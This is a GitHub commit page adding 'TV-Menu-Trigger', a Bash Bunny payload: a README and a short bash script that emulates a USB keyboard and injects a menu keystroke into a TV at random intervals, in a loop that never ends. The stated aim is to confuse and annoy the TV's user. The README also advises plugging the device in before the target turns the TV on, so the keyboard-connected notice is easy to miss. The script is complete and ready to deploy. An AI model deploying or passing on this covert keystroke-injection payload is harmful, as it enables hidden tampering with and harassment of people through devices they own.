-
Notifications
You must be signed in to change notification settings - Fork 1.5k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #674 from 90N45-d3v/TV-Menu-Trigger
Add TV-Menu-Trigger
- Loading branch information
Showing
2 changed files
with
56 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,21 @@ | ||
# TV-Menu-Trigger | ||
* Author: 90N45 | ||
* Version: 1.0 | ||
* Target: TV | ||
* Attackmodes: HID | ||
|
||
### Description | ||
This payload opens the main menu of a TV repeatedly at a random interval (1-10 minutes) to confuse and annoy the user. | ||
|
||
### Explanation | ||
Almost every TV has the function of being used by a connected USB keyboard. Therefore, we can use the Bash Bunny to emulate a keyboard and inject keystrokes into the TV. In this case, we inject the keycode for the `GUI` key to open the TV's menu (equivalent to the MENU button on your traditional remote control). Of course, the key required to open the menu could change, because of different vendors, but the keycode of the `GUI` key seems to work for most TVs. | ||
|
||
### Tip | ||
Plug your Bash Bunny into a USB port of the TV before it is switched on by your target. This makes it easier to overlook the possible message of a connected keyboard (especially with webOS/LG TVs, as the message is very small on these models and is displayed for a short time). | ||
|
||
### Status | ||
| LED | State | | ||
| --- | --- | | ||
| Magenta solid (SETUP) | Set ATTACKMODE and configure CPU performance | | ||
| Green 1000ms VERYFAST blink followed by SOLID (FINISH) | Attacking the TV (Currently waiting for the random interval to complete) | | ||
| Red 1000ms | Opening the TV’s menu | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,35 @@ | ||
#!/bin/bash | ||
# | ||
# Title: TV-Menu-Trigger | ||
# Description: This payload opens the main menu of a TV repeatedly at a random interval (1-10 minutes) to confuse and annoy the user. | ||
# Author: 90N45 | ||
# Version: 1.0 | ||
# Category: Prank | ||
# Attackmodes: HID | ||
|
||
LED SETUP | ||
|
||
ATTACKMODE HID | ||
|
||
# Tune the Bash Bunny's CPU to low power/performance for long term deployments | ||
CUCUMBER ENABLE | ||
|
||
LED FINISHED | ||
|
||
while [[ true ]]; do | ||
LED G | ||
# Generate interval time | ||
rand=$((6 + $RANDOM % 60)) | ||
interval="$rand"0000 | ||
|
||
# Wait given interval time | ||
Q DELAY ${interval} | ||
|
||
# LED feedback on HID injection | ||
LED R | ||
|
||
# Open menu | ||
Q GUI | ||
|
||
Q DELAY 1000 | ||
done |